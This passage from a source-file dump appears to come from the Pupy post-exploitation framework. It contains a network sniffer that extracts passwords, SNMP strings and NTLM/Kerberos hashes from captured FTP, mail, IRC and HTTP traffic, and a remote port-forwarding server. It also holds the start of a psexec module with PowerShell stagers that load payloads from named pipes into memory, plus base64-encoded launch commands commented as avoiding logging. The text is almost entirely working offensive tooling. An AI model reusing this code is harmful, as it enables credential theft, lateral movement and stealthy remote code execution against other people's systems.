Kerb pkts\n        and figure out a simpler way\n        Maybe use kerberos python lib\n        '''\n        d={}\n        d['header_len']=ord(s[0]) & 0x0f\n        d['data']=s[4*d['header_len']:]\n        return d\n\n    def double_line_checker(self, full_load, count_str):\n        '''\n        Check if count_str shows up twice\n        '''\n        num = full_load.lower().count(count_str)\n        if num > 1:\n            lines = full_load.count('\\r\\n')\n            if lines > 1:\n                full_load = full_load.split('\\r\\n')[-2] # -1 is ''\n        return full_load\n\n    def parse_ftp(self, full_load, dst_ip_port):\n        '''\n        Parse out FTP creds\n        '''\n        print_strs = []\n\n        # Sometimes FTP packets double up on the authentication lines\n        # We just want the lastest one. Ex: \"USER danmcinerney\\r\\nUSER danmcinerney\\r\\n\"\n        full_load = self.double_line_checker(full_load, 'USER')\n\n        # FTP and POP potentially use idential client > server auth pkts\n        ftp_user = re.match(ftp_user_re, full_load)\n        ftp_pass = re.match(ftp_pw_re, full_load)\n\n        if ftp_user:\n            msg1 = 'FTP User: %s' % ftp_user.group(1).strip()\n            print_strs.append(msg1)\n            if dst_ip_port[-3:] != ':21':\n                msg2 = 'Nonstandard FTP port, confirm the service that is running on it'\n                print_strs.append(msg2)\n\n        elif ftp_pass:\n            msg1 = 'FTP Pass: %s' % ftp_pass.group(1).strip()\n            print_strs.append(msg1)\n            if dst_ip_port[-3:] != ':21':\n                msg2 = 'Nonstandard FTP port, confirm the service that is running on it'\n                print_strs.append(msg2)\n\n        return print_strs\n\n    def mail_decode(self, src_ip_port, dst_ip_port, mail_creds):\n        '''\n        Decode base64 mail creds\n        '''\n        try:\n            decoded = base64.b64decode(mail_creds).replace('\\x00', ' ').decode('utf8')\n            decoded = decoded.replace('\\x00', ' ')\n        except TypeError:\n            decoded = None\n        except UnicodeDecodeError:\n            decoded = None\n\n        if decoded is not None:\n            msg = 'Decoded: %s' % decoded\n            self.printer(src_ip_port, dst_ip_port, msg)\n\n    def mail_logins(self, full_load, src_ip_port, dst_ip_port, ack, seq):\n        '''\n        Catch IMAP, POP, and SMTP logins\n        '''\n        # Handle the first packet of mail authentication\n        # if the creds aren't in the first packet, save it in mail_auths\n\n        # mail_auths = 192.168.0.2 : [1st ack, 2nd ack...]\n        global mail_auths\n        found = False\n\n        # Sometimes mail packets double up on the authentication lines\n        # We just want the lastest one. Ex: \"1 auth plain\\r\\n2 auth plain\\r\\n\"\n        full_load = self.double_line_checker(full_load, 'auth')\n\n        # Client to server 2nd+ pkt\n        if src_ip_port in mail_auths:\n            if seq in mail_auths[src_ip_port][-1]:\n                stripped = full_load.strip('\\r\\n')\n                try:\n                    decoded = base64.b64decode(stripped)\n                    msg = 'Mail authentication: %s' % decoded\n                    self.printer(src_ip_port, dst_ip_port, msg)\n                except TypeError:\n                    pass\n                mail_auths[src_ip_port].append(ack)\n\n        # Server responses to client\n        # seq always = last ack of tcp stream\n        elif dst_ip_port in mail_auths:\n            if seq in mail_auths[dst_ip_port][-1]:\n                # Look for any kind of auth failure or success\n                a_s = 'Authentication successful'\n                a_f = 'Authentication failed'\n                # SMTP auth was successful\n                if full_load.startswith('235') and 'auth' in full_load.lower():\n                    # Reversed the dst and src\n                    self.printer(dst_ip_port, src_ip_port, a_s)\n                    found = True\n                    try:\n                        del mail_auths[dst_ip_port]\n                    except KeyError:\n                        pass\n                # SMTP failed\n                elif full_load.startswith('535 '):\n                    # Reversed the dst and src\n                    self.printer(dst_ip_port, src_ip_port, a_f)\n                    found = True\n                    try:\n                        del mail_auths[dst_ip_port]\n                    except KeyError:\n                        pass\n                # IMAP/POP/SMTP failed\n                elif ' fail' in full_load.lower():\n                    # Reversed the dst and src\n                    self.printer(dst_ip_port, src_ip_port, a_f)\n                    found = True\n                    try:\n                        del mail_auths[dst_ip_port]\n                    except KeyError:\n                        pass\n                # IMAP auth success\n                elif ' OK [' in full_load:\n                    # Reversed the dst and src\n                    self.printer(dst_ip_port, src_ip_port, a_s)\n                    found = True\n                    try:\n                        del mail_auths[dst_ip_port]\n                    except KeyError:\n                        pass\n\n                # Pkt was not an auth pass/fail so its just a normal server ack\n                # that it got the client's first auth pkt\n                else:\n                    if len(mail_auths) > 100:\n                        mail_auths.popitem(last=False)\n                    mail_auths[dst_ip_port].append(ack)\n\n        # Client to server but it's a new TCP seq\n        # This handles most POP/IMAP/SMTP logins but there's at least one edge case\n        else:\n            mail_auth_search = re.match(mail_auth_re, full_load, re.IGNORECASE)\n            if mail_auth_search is not None:\n                auth_msg = full_load\n                # IMAP uses the number at the beginning\n                if mail_auth_search.group(1) is not None:\n                    auth_msg = auth_msg.split()[1:]\n                else:\n                    auth_msg = auth_msg.split()\n                # Check if its a pkt like AUTH PLAIN dvcmQxIQ==\n                # rather than just an AUTH PLAIN\n                if len(auth_msg) > 2:\n                    mail_creds = ' '.join(auth_msg[2:])\n                    msg = 'Mail authentication: %s' % mail_creds\n                    self.printer(src_ip_port, dst_ip_port, msg)\n\n                    self.mail_decode(src_ip_port, dst_ip_port, mail_creds)\n                    try:\n                        del mail_auths[src_ip_port]\n                    except KeyError:\n                        pass\n                    found = True\n\n                # Mail auth regex was found and src_ip_port is not in mail_auths\n                # Pkt was just the initial auth cmd, next pkt from client will hold creds\n                if len(mail_auths) > 100:\n                    mail_auths.popitem(last=False)\n                mail_auths[src_ip_port] = [ack]\n\n            # At least 1 mail login style doesn't fit in the original regex:\n            #     1 login \"username\" \"password\"\n            # This also catches FTP authentication!\n            #     230 Login successful.\n            elif re.match(mail_auth_re1, full_load, re.IGNORECASE) is not None:\n\n                # FTP authentication failures trigger this\n                #if full_load.lower().startswith('530 login'):\n                #    return\n\n                auth_msg = full_load\n                auth_msg = auth_msg.split()\n                if 2 < len(auth_msg) < 5:\n                    mail_creds = ' '.join(auth_msg[2:])\n                    msg = 'Authentication: %s' % mail_creds\n                    self.printer(src_ip_port, dst_ip_port, msg)\n                    self.mail_decode(src_ip_port, dst_ip_port, mail_creds)\n                    found = True\n\n        if found is True:\n            return True\n\n    def irc_logins(self, full_load, pkt):\n        '''\n        Find IRC logins\n        '''\n        user_search = re.match(irc_user_re, full_load)\n        pass_search = re.match(irc_pw_re, full_load)\n        pass_search2 = re.search(irc_pw_re2, full_load.lower())\n        if user_search:\n            msg = 'IRC nick: %s' % user_search.group(1)\n            return msg\n        if pass_search:\n            msg = 'IRC pass: %s' % pass_search.group(1)\n            return msg\n        if pass_search2:\n            msg = 'IRC pass: %s' % pass_search2.group(1)\n            return msg\n\n    def other_parser(self, src_ip_port, dst_ip_port, full_load, ack, seq, pkt, verbose=False):\n        '''\n        Pull out pertinent info from the parsed HTTP packet data\n        '''\n        user_passwd = None\n        http_url_req = None\n        method = None\n        http_methods = ['GET ', 'POST ', 'CONNECT ', 'TRACE ', 'TRACK ', 'PUT ', 'DELETE ', 'HEAD ']\n        http_line, header_lines, body = self.parse_http_load(full_load, http_methods)\n        headers = self.headers_to_dict(header_lines)\n        if 'host' in headers:\n            host = headers['host']\n        else:\n            host = ''\n\n        if http_line is not None:\n            method, path = self.parse_http_line(http_line, http_methods)\n            http_url_req = self.get_http_url(method, host, path, headers)\n            if http_url_req is not None:\n                if verbose is False:\n                    if len(http_url_req) > 98:\n                        http_url_req = http_url_req[:99] + '...'\n                self.printer(src_ip_port, None, http_url_req)\n\n        # Print search terms\n        searched = self.get_http_searches(http_url_req, body, host)\n        if searched:\n            self.printer(src_ip_port, dst_ip_port, searched)\n\n        # Print user/pwds\n        if body != '':\n            user_passwd = self.get_login_pass(body)\n            if user_passwd is not None:\n                try:\n                    http_user = user_passwd[0].decode('utf8')\n                    http_pass = user_passwd[1].decode('utf8')\n                    # Set a limit on how long they can be prevent false+\n                    if len(http_user) > 75 or len(http_pass) > 75:\n                        return\n                    user_msg = 'HTTP username: %s' % http_user\n                    self.printer(src_ip_port, dst_ip_port, user_msg)\n                    pass_msg = 'HTTP password: %s' % http_pass\n                    self.printer(src_ip_port, dst_ip_port, pass_msg)\n                except UnicodeDecodeError:\n                    pass\n\n        # Print POST loads\n        # ocsp is a common SSL post load that's never interesting\n        if method == 'POST' and 'ocsp.' not in host:\n            try:\n                if verbose is False and len(body) > 99:\n                    # If it can't decode to utf8 we're probably not interested in it\n                    msg = 'POST load: %s...' % body[:99].encode('utf8')\n                else:\n                    msg = 'POST load: %s' % body.encode('utf8')\n                self.printer(src_ip_port, None, msg)\n            except UnicodeDecodeError:\n                pass\n\n        # Kerberos over TCP\n        decoded = self.Decode_Ip_Packet(str(pkt)[14:])\n        kerb_hash = self.ParseMSKerbv5TCP(decoded['data'][20:])\n        if kerb_hash:\n            self.printer(src_ip_port, dst_ip_port, kerb_hash)\n\n        # Non-NETNTLM NTLM hashes (MSSQL, DCE-RPC,SMBv1/2,LDAP, MSSQL)\n        NTLMSSP2 = re.search(NTLMSSP2_re, full_load, re.DOTALL)\n        NTLMSSP3 = re.search(NTLMSSP3_re, full_load, re.DOTALL)\n        if NTLMSSP2:\n            self.parse_ntlm_chal(NTLMSSP2.group(), ack)\n        if NTLMSSP3:\n            ntlm_resp_found = self.parse_ntlm_resp(NTLMSSP3.group(), seq)\n            if ntlm_resp_found is not None:\n                self.printer(src_ip_port, dst_ip_port, ntlm_resp_found)\n\n        # Look for authentication headers\n        if len(headers) == 0:\n            authenticate_header = None\n            authorization_header = None\n        for header in headers:\n            authenticate_header = re.match(authenticate_re, header)\n            authorization_header = re.match(authorization_re, header)\n            if authenticate_header or authorization_header:\n                break\n\n        if authorization_header or authenticate_header:\n            # NETNTLM\n            netntlm_found = self.parse_netntlm(authenticate_header, authorization_header, headers, ack, seq)\n            if netntlm_found is not None:\n                self.printer(src_ip_port, dst_ip_port, netntlm_found)\n\n            # Basic Auth\n            self.parse_basic_auth(src_ip_port, dst_ip_port, headers, authorization_header)\n\n    def get_http_searches(self, http_url_req, body, host):\n        '''\n        Find search terms from URLs. Prone to false positives but rather err on that side than false negatives\n        search, query, ?s, &q, ?q, search?p, searchTerm, keywords, command\n        '''\n        false_pos = ['i.stack.imgur.com']\n\n        searched = None\n        if http_url_req is not None:\n            searched = re.search(http_search_re, http_url_req, re.IGNORECASE)\n            if searched is None:\n                searched = re.search(http_search_re, body, re.IGNORECASE)\n\n        if searched is not None and host not in false_pos:\n            searched = searched.group(3)\n            # Eliminate some false+\n            try:\n                # if it doesn't decode to utf8 it's probably not user input\n                searched = searched.decode('utf8')\n            except UnicodeDecodeError:\n                return\n            # some add sites trigger this function with single digits\n            if searched in [str(num) for num in range(0,10)]:\n                return\n            # nobody's making >100 character searches\n            if len(searched) > 100:\n                return\n            msg = 'Searched %s: %s' % (host, unquote(searched.encode('utf8')).replace('+', ' '))\n            return msg\n\n    def parse_basic_auth(self, src_ip_port, dst_ip_port, headers, authorization_header):\n        '''\n        Parse basic authentication over HTTP\n        '''\n        if authorization_header:\n            # authorization_header sometimes is triggered by failed ftp\n            try:\n                header_val = headers[authorization_header.group()]\n            except KeyError:\n                return\n            b64_auth_re = re.match('basic (.+)', header_val, re.IGNORECASE)\n            if b64_auth_re is not None:\n                basic_auth_b64 = b64_auth_re.group(1)\n                basic_auth_creds = base64.decodestring(basic_auth_b64)\n                msg = 'Basic Authentication: %s' % basic_auth_creds\n                self.printer(src_ip_port, dst_ip_port, msg)\n\n    def parse_netntlm(self, authenticate_header, authorization_header, headers, ack, seq):\n        '''\n        Parse NTLM hashes out\n        '''\n        # Type 2 challenge from server\n        if authenticate_header is not None:\n            chal_header = authenticate_header.group()\n            self.parse_netntlm_chal(headers, chal_header, ack)\n\n        # Type 3 response from client\n        elif authorization_header is not None:\n            resp_header = authorization_header.group()\n            msg = self.parse_netntlm_resp_msg(headers, resp_header, seq)\n            if msg is not None:\n                return msg\n\n    def parse_snmp(self, src_ip_port, dst_ip_port, snmp_layer):\n        '''\n        Parse out the SNMP version and community string\n        '''\n        if type(snmp_layer.community.val) == str:\n            ver = snmp_layer.version.val\n            msg = 'SNMPv%d community string: %s' % (ver, snmp_layer.community.val)\n            self.printer(src_ip_port, dst_ip_port, msg)\n        return True\n\n    def get_http_url(self, method, host, path, headers):\n        '''\n        Get the HTTP method + URL from requests\n        '''\n        if method is not None and path is not None:\n\n            # Make sure the path doesn't repeat the host header\n            if host != '' and not re.match('(http(s)?://)?'+host, path):\n                http_url_req = method + ' ' + host + path\n            else:\n                http_url_req = method + ' ' + path\n\n            http_url_req = self.url_filter(http_url_req)\n\n            return http_url_req\n\n    def headers_to_dict(self, header_lines):\n        '''\n        Convert the list of header lines into a dictionary\n        '''\n        headers = {}\n        # Incomprehensible list comprehension flattens list of headers\n        # that are each split at ': '\n        # http://stackoverflow.com/a/406296\n        headers_list = [x for line in header_lines for x in line.split(': ', 1)]\n        headers_dict = dict(zip(headers_list[0::2], headers_list[1::2]))\n        # Make the header key (like \"Content-Length\") lowercase\n        for header in headers_dict:\n            headers[header.lower()] = headers_dict[header]\n\n        return headers\n\n    def parse_http_line(self, http_line, http_methods):\n        '''\n        Parse the header with the HTTP method in it\n        '''\n        http_line_split = http_line.split()\n        method = ''\n        path = ''\n\n        # Accounts for pcap files that might start with a fragment\n        # so the first line might be just text data\n        if len(http_line_split) > 1:\n            method = http_line_split[0]\n            path = http_line_split[1]\n\n        # This check exists because responses are much different than requests e.g.:\n        #     HTTP/1.1 407 Proxy Authentication Required ( Access is denied.  )\n        # Add a space to method because there's a space in http_methods items\n        # to avoid false+\n        if method+' ' not in http_methods:\n            method = None\n            path = None\n\n        return method, path\n\n    def parse_http_load(self, full_load, http_methods):\n        '''\n        Split the raw load into list of headers and body string\n        '''\n        try:\n            headers, body = full_load.split(\"\\r\\n\\r\\n\", 1)\n        except ValueError:\n            headers = full_load\n            body = ''\n        header_lines = headers.split(\"\\r\\n\")\n\n        # Pkts may just contain hex data and no headers in which case we'll\n        # still want to parse them for usernames and password\n        http_line = self.get_http_line(header_lines, http_methods)\n        if not http_line:\n            headers = ''\n            body = full_load\n\n        header_lines = [line for line in header_lines if line != http_line]\n\n        return http_line, header_lines, body\n\n    def get_http_line(self, header_lines, http_methods):\n        '''\n        Get the header with the http command\n        '''\n        for header in header_lines:\n            for method in http_methods:\n                # / is the only char I can think of that's in every http_line\n                # Shortest valid: \"GET /\", add check for \"/\"?\n                if header.startswith(method):\n                    http_line = header\n                    return http_line\n\n    def parse_netntlm_chal(self, headers, chal_header, ack):\n        '''\n        Parse the netntlm server challenge\n        https://code.google.com/p/python-ntlm/source/browse/trunk/python26/ntlm/ntlm.py\n        '''\n        try:\n            header_val2 = headers[chal_header]\n        except KeyError:\n            return\n        header_val2 = header_val2.split(' ', 1)\n        # The header value can either start with NTLM or Negotiate\n        if header_val2[0] == 'NTLM' or header_val2[0] == 'Negotiate':\n            msg2 = header_val2[1]\n            msg2 = base64.decodestring(msg2)\n            self.parse_ntlm_chal(ack, msg2)\n\n    def parse_ntlm_chal(self, msg2, ack):\n        '''\n        Parse server challenge\n        '''\n        global challenge_acks\n\n        try:\n            msg_type = struct.unpack(\"<I\",msg2[8:12])[0]\n        except Exception:\n            return\n        assert(msg_type==2)\n        ServerChallenge = msg2[24:32].encode('hex')\n\n        # Keep the dict of ack:challenge to less than 50 chals\n        if len(challenge_acks) > 50:\n            challenge_acks.popitem(last=False)\n        challenge_acks[ack] = ServerChallenge\n\n    def parse_netntlm_resp_msg(self, headers, resp_header, seq):\n        '''\n        Parse the client response to the challenge\n        '''\n        try:\n            header_val3 = headers[resp_header]\n        except KeyError:\n            return\n        header_val3 = header_val3.split(' ', 1)\n\n        # The header value can either start with NTLM or Negotiate\n        if header_val3[0] == 'NTLM' or header_val3[0] == 'Negotiate':\n            try:\n                msg3 = base64.decodestring(header_val3[1])\n            except binascii.Error:\n                return\n            return self.parse_ntlm_resp(msg3, seq)\n\n    def parse_ntlm_resp(self, msg3, seq):\n        '''\n        Parse the 3rd msg in NTLM handshake\n        Thanks to psychomario\n        '''\n\n        if seq in challenge_acks:\n            challenge = challenge_acks[seq]\n        else:\n            challenge = 'CHALLENGE NOT FOUND'\n\n        if len(msg3) > 43:\n            # Thx to psychomario for below\n            lmlen, lmmax, lmoff, ntlen, ntmax, ntoff, domlen, dommax, domoff, userlen, usermax, useroff = struct.unpack(\"12xhhihhihhihhi\", msg3[:44])\n            lmhash = binascii.b2a_hex(msg3[lmoff:lmoff+lmlen])\n            nthash = binascii.b2a_hex(msg3[ntoff:ntoff+ntlen])\n            domain = msg3[domoff:domoff+domlen].replace(\"\\0\", \"\")\n            user = msg3[useroff:useroff+userlen].replace(\"\\0\", \"\")\n            # Original check by psychomario, might be incorrect?\n            #if lmhash != \"0\"*48: #NTLMv1\n            if ntlen == 24: #NTLMv1\n                msg = '%s %s' % ('NETNTLMv1:', user+\"::\"+domain+\":\"+lmhash+\":\"+nthash+\":\"+challenge)\n                return msg\n            elif ntlen > 60: #NTLMv2\n                msg = '%s %s' % ('NETNTLMv2:', user+\"::\"+domain+\":\"+challenge+\":\"+nthash[:32]+\":\"+nthash[32:])\n                return msg\n\n    def url_filter(self, http_url_req):\n        '''\n        Filter out the common but uninteresting URLs\n        '''\n        if http_url_req:\n            d = ['.jpg', '.jpeg', '.gif', '.png', '.css', '.ico', '.js', '.svg', '.woff']\n            if any(http_url_req.endswith(i) for i in d):\n                return\n\n        return http_url_req\n\n    def get_login_pass(self, body):\n        '''\n        Regex out logins and passwords from a string\n        '''\n        user = None\n        passwd = None\n\n        # Taken mainly from Pcredz by Laurent Gaffie\n        userfields = ['log','login', 'wpname', 'ahd_username', 'unickname', 'nickname', 'user', 'user_name',\n                      'alias', 'pseudo', 'email', 'username', '_username', 'userid', 'form_loginname', 'loginname',\n                      'login_id', 'loginid', 'session_key', 'sessionkey', 'pop_login', 'uid', 'id', 'user_id', 'screename',\n                      'uname', 'ulogin', 'acctname', 'account', 'member', 'mailaddress', 'membername', 'login_username',\n                      'login_email', 'loginusername', 'loginemail', 'uin', 'sign-in']\n        passfields = ['ahd_password', 'pass', 'password', '_password', 'passwd', 'session_password', 'sessionpassword',\n                      'login_password', 'loginpassword', 'form_pw', 'pw', 'userpassword', 'pwd', 'upassword', 'login_password'\n                      'passwort', 'passwrd', 'wppassword', 'upasswd']\n\n        for login in userfields:\n            login_re = re.search('(%s=[^&]+)' % login, body, re.IGNORECASE)\n            if login_re:\n                user = login_re.group()\n        for passfield in passfields:\n            pass_re = re.search('(%s=[^&]+)' % passfield, body, re.IGNORECASE)\n            if pass_re:\n                passwd = pass_re.group()\n\n        if user and passwd:\n            return (user, passwd)\n\n    def printer(self, src_ip_port, dst_ip_port, msg):\n        if dst_ip_port is not None:\n            print_str = '[%s > %s] %s%s%s' % (src_ip_port, dst_ip_port, T, msg, W)\n\n            # All credentials will have dst_ip_port, URLs will not\n            self.append(print_str)\n\n            # Escape colors like whatweb has\n            # ansi_escape = re.compile(r'\\x1b[^m]*m')\n            # print_str = ansi_escape.sub('', print_str)\n\n        # to log all URLs\n        # else:\n        #     print_str = '[%s] %s' % (src_ip_port.split(':')[0], msg)\n        #     print print_str\n"
  },
  {
    "path": "pupy/packages/all/pupyutils/portfwd.py",
    "content": "# -*- coding: utf-8 -*-\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nimport SocketServer\nimport threading\nclass RemotePortFwdRequestHandler(SocketServer.BaseRequestHandler):\n    def handle(self):\n        self.server.callback(self.request)\n\n\nclass RemotePortFwdServer(SocketServer.TCPServer):\n    allow_reuse_address = True\n\n    def __init__(self, server_address, bind_and_activate=True, callback=None):\n        self.callback=callback\n        SocketServer.TCPServer.__init__(self, server_address, RemotePortFwdRequestHandler, bind_and_activate)\n\n    def start_serve(self):\n        t=threading.Thread(target=self.serve_forever)\n        t.daemon=True\n        t.start()\n\n\nclass ThreadedRemotePortFwdServer(SocketServer.ThreadingMixIn, RemotePortFwdServer):\n    def __str__(self):\n        return \"<RemotePortForward remote=%s>\"%str(self.server_address)\n"
  },
  {
    "path": "pupy/packages/all/pupyutils/psexec.py",
    "content": "#!/usr/bin/env python2\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport time\nimport traceback\nimport random\nimport os\nimport string\nimport socket\nimport sys\n\ntry:\n    import idna\n    assert idna\nexcept ImportError:\n    pass\n\nfrom io import open\nfrom base64 import b64encode\nfrom hashlib import md5\nfrom threading import Thread\nfrom contextlib import contextmanager\n\nfrom impacket.dcerpc.v5 import transport, scmr\nfrom impacket.dcerpc.v5.dcomrt import DCOMConnection\nfrom impacket.dcerpc.v5.dcom import wmi\nfrom impacket.dcerpc.v5.dtypes import NULL\nfrom impacket.dcerpc.v5.rpcrt import \\\n     RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY\nfrom impacket.system_errors import \\\n     ERROR_SERVICE_DOES_NOT_EXIST, ERROR_SERVICE_NOT_ACTIVE, \\\n     ERROR_SERVICE_REQUEST_TIMEOUT\nfrom impacket.smbconnection import SMBConnection, SessionError\nfrom impacket.smb3structs import (\n    FILE_READ_DATA, FILE_WRITE_DATA, FILE_APPEND_DATA\n)\n\nfrom sys import getdefaultencoding, version_info\n\nfrom pupy.network.lib.netcreds import add_cred, find_first_cred\nfrom pupy.network.lib.convcompat import (\n    try_as_unicode_string, as_unicode_string\n)\n\nfrom Crypto.Cipher import DES\nassert(DES)\n\nif version_info.major > 2:\n    xrange = range\n    basestring = str\n\nSMB_SESSIONS_CACHE = {}\nWBEM_SESSIONS_CACHE = {}\n\nUSE_CACHE = False\n\nSERVICE_STATUS_STR = {\n    scmr.SERVICE_CONTINUE_PENDING: 'CONTINUE_PENDING',\n    scmr.SERVICE_PAUSE_PENDING: 'PAUSE_PENDING',\n    scmr.SERVICE_PAUSED: 'PAUSED',\n    scmr.SERVICE_RUNNING: 'RUNNING',\n    scmr.SERVICE_START_PENDING: 'START_PENDING',\n    scmr.SERVICE_STOP_PENDING: 'STOP_PENDING',\n    scmr.SERVICE_STOPPED: 'STOPPED',\n}\n\n\nclass PsExecException(Exception):\n    def as_unicode(self, codepage=None):\n        if not hasattr(self, 'message'):\n            error = str(self)\n        else:\n            error = self.message\n\n        if not isinstance(error, (str, bytes)):\n            error = str(error)\n\n        return try_as_unicode_string(error)\n\n\n# Use Start-Transcript -Path \"C:\\\\temp\\\\transcript.log\" -Force; to debug\n\nPIPE_LOADER_TEMPLATE = '''\n$p=new-object System.IO.Pipes.NamedPipeServerStream(\"{pipename}\",\"In\",2,\"Byte\",0,{size},0);\n$p.WaitForConnection();\n$x=new-object System.IO.BinaryReader($p);\n$a=$x.ReadBytes({size});\n$x.Close();\n[Reflection.Assembly]::Load($a).GetTypes()[0].GetMethods()[0].Invoke($null,@());\nexit;\n\\r\\n\n'''\n\nPIPE_STAGER_TEMPLATE = '''\ntry {{\n$p=new-object System.IO.Pipes.NamedPipeServerStream(\"{pipename}\",\"In\",2,\"Byte\",0,{size},0);\n$p.WaitForConnection();\n$pr = New-Object System.Diagnostics.Process -Property @{{\n    StartInfo = New-Object System.Diagnostics.ProcessStartInfo -Property @{{\n        FileName = '{powershell}';\n        Arguments = '-';\n        UseShellExecute = $false;\n        RedirectStandardInput = $true;\n        WindowStyle = 1;\n    }};\n}};\n$pr.Start();\n\ndo {{\n  [byte[]]$buff = new-object byte[] 4096;\n  $count = $p.Read($buff, 0, $buff.Length);\n  $pr.StandardInput.BaseStream.Write($buff, 0, $count);\n}} while ($count -gt 0);\n\n$pr.StandardInput.Close();\n}} finally {{\nif ($p) {{$p.Close();}};\nexit;\n}}\n\\r\\n\n'''\n\nPIPE_STDOUT_TEMPLATE = '''\ntry {{\n    $p = new-object System.IO.Pipes.NamedPipeServerStream(\"{pipename}\",\"Out\",2,\"Byte\",0,0,{size});\n    $p.WaitForConnection();\n    $x = new-object System.IO.BinaryWriter($p);\n    $enc = [system.Text.Encoding]::UTF8;\n\n    $StartInfo = New-Object System.Diagnostics.ProcessStartInfo -Property @{{\n        FileName = '{arg0}';\n        Arguments = '{argv}';\n        UseShellExecute = $false;\n        RedirectStandardInput = $true;\n        RedirectStandardOutput = $true;\n        RedirectStandardError = $true;\n    }};\n\n    $Process = New-Object System.Diagnostics.Process;\n    $Process.StartInfo = $StartInfo;\n\n    $OutEvent = Register-ObjectEvent -Action {{\n        $d=$Event.SourceEventArgs.Data;\n        if (![string]::IsNullOrEmpty($d)) {{\n            $d.Split([Environment]::NewLine) | Foreach {{\n                $x.Write($enc.GetBytes($_));\n                $x.Write([Char](10));\n            }};\n            $x.Flush();\n        }}\n    }} -InputObject $Process -EventName OutputDataReceived;\n\n    $ErrEvent = Register-ObjectEvent -Action {{\n        $d=$Event.SourceEventArgs.Data;\n        if (![string]::IsNullOrEmpty($d)) {{\n            $d.Split([Environment]::NewLine) | Foreach {{\n                $x.Write($enc.GetBytes($_));\n                $x.Write([Char](10));\n            }};\n            $x.Flush();\n        }}\n    }} -InputObject $Process -EventName ErrorDataReceived;\n\n    $Process.Start();\n\n    $Process.StandardInput.Close();\n    $Process.BeginOutputReadLine();\n    $Process.BeginErrorReadLine();\n\n}} catch {{\n    try {{\n        $x.Write($enc.GetBytes(\"PS Error: $($PSItem.ToString())\"));\n        $x.Write([Char](10));\n        $x.Close();\n    }} finally {{\n        exit;\n    }}\n}}\n\nwhile (!$Process.WaitForExit(100)) {{}}\n\n$OutEvent.Name, $ErrEvent.Name |\n    ForEach-Object {{Unregister-Event -SourceIdentifier $_}};\n\n$x.Flush();\n$x.Close();\nexit;\n\\r\\n\n'''\n\nPOWERSHELL_CMD_TEMPLATE_STD = '{powershell} -version 2 -noninteractive -EncodedCommand \"{cmd}\"'\n# Avoid logging (a bit)\nPOWERSHELL_CMD_TEMPLATE_CMD = 'cmd.exe /Q /D /S /c \"echo:iex([System.Text.Encoding]::ASCII.GetString(' \\\n    '[Convert]::FromBase64String(\"{cmd}\"))) | {powershell} -\"'\n\nPOWERSHELL_PATH = r'C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe'\n\nSERVICE_NAME   = ''.join(random.sample(string.ascii_letters, 10))\n\n\ndef generate_stager_cmd(size=1024):\n    pipename = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in xrange(10))\n    encoded = b64encode(PIPE_STAGER_TEMPLATE.format(\n        pipename=pipename, size=size, powershell=POWERSHELL_PATH))\n    cmd = POWERSHELL_CMD_TEMPLATE_CMD.format(powershell=POWERSHELL_PATH, cmd=encoded)\n    return cmd, pipename\n\n\ndef generate_loader_payload(size):\n    pipename = ''.join(random.choice(\n        string.ascii_uppercase + string.digits) for _ in xrange(10)\n    )\n    payload = PIPE_LOADER_TEMPLATE.format(pipename=pipename, size=size)\n    return payload, pipename\n\n\ndef generate_stdo_payload(arg0, argv):\n    argv = ' '.join(argv)\n    pipename = ''.join(\n        random.choice(string.ascii_uppercase + string.digits) for _ in xrange(10)\n    )\n    payload = PIPE_STDOUT_TEMPLATE.format(\n        pipename=pipename, size=1024, arg0=arg0, argv=argv)\n    return payload, pipename, arg0, argv\n\n\nclass ConnectionInfo(object):\n    __slots__ = (\n        'host', 'port', 'user', 'password', 'domain',\n        'nt', 'lm',\n        'aes', 'TGT', 'TGS', 'KDC', 'valid', 'timeout',\n        '_smb_conn', '_wbem_conn', '_dcom_conn', '_use_cache', '_cached'\n    )\n\n    def __init__(\n        self, host, port=445, user='', domain='', password='', ntlm='',\n            aes='', tgt='', tgs='', kdc='', timeout=10, use_cache=None):\n\n        self._smb_conn = None\n        self._wbem_conn = None\n        self._dcom_conn = None\n        self._cached = False\n\n        if use_cache is None:\n            use_cache = USE_CACHE\n\n        self._use_cache = use_cache\n\n        creds = find_first_cred(\n            schema='smb', address=host, port=port,\n            domain=domain, username=user\n        )\n\n        if creds:\n            user = user or creds.username\n            domain = domain or creds.domain\n            password = password or creds.password\n            ntlm = ntlm or creds.ntlm\n            aes = aes or creds.aes\n            tgt = tgt or creds.tgt\n            tgs = tgt or creds.tgs\n            kdc = kdc or creds.kdc\n\n        self.host = host\n        self.port = int(port)\n        self.user = user\n        self.password = password\n        self.domain = domain\n        self.lm, self.nt = '', ''\n        self.valid = None\n        self.timeout = int(timeout)\n        self.aes = aes\n        self.TGT = tgt\n        self.TGS = tgs\n        self.KDC = kdc\n\n        if ntlm:\n            if ':' in ntlm:\n                self.lm, self.nt = ntlm.strip().split(':')\n            else:\n                self.lm = '00'*16\n                self.nt = ntlm\n\n    def __str__(self):\n        conninfo = 'host={}:{} user={}'.format(\n            self.host, self.port,\n            self.domain + '\\\\' + self.user if self.domain else self.user\n        )\n\n        if self.password:\n            conninfo += ' '+self.password\n\n        if self.nt and self.lm:\n            conninfo += ' ntlm={}:{}'.format(self.lm, self.nt)\n\n        return conninfo\n\n    @property\n    def cached(self):\n        return self._cached\n\n    @property\n    def kerberos(self):\n        return bool(self.aes)\n\n    @property\n    def ntlm(self):\n        return '{}:{}'.format(self.lm, self.nt)\n\n    @property\n    def credentials(self):\n        return [\n            self.user,\n            self.password,\n            self.domain,\n            self.lm, self.nt,\n            self.aes, self.TGT, self.TGS\n        ]\n\n    def close(self):\n        if self._cached:\n            # Leak connections if cache is used\n            return\n\n        if self._smb_conn:\n            try:\n                self._smb_conn.close()\n            except Exception:\n                pass\n\n            self._smb_conn = None\n\n        if self._wbem_conn:\n            try:\n                self._wbem_conn.RemRelease()\n            except Exception:\n                pass\n\n            self._wbem_conn = None\n\n        if self._dcom_conn:\n            try:\n                self._dcom_conn.disconnect()\n            except Exception:\n                pass\n\n            self._dcom_conn 